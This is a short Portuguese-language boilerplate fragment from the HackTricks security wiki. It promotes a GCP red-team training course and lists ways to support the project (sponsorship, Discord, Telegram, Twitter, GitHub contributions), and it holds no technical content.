Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|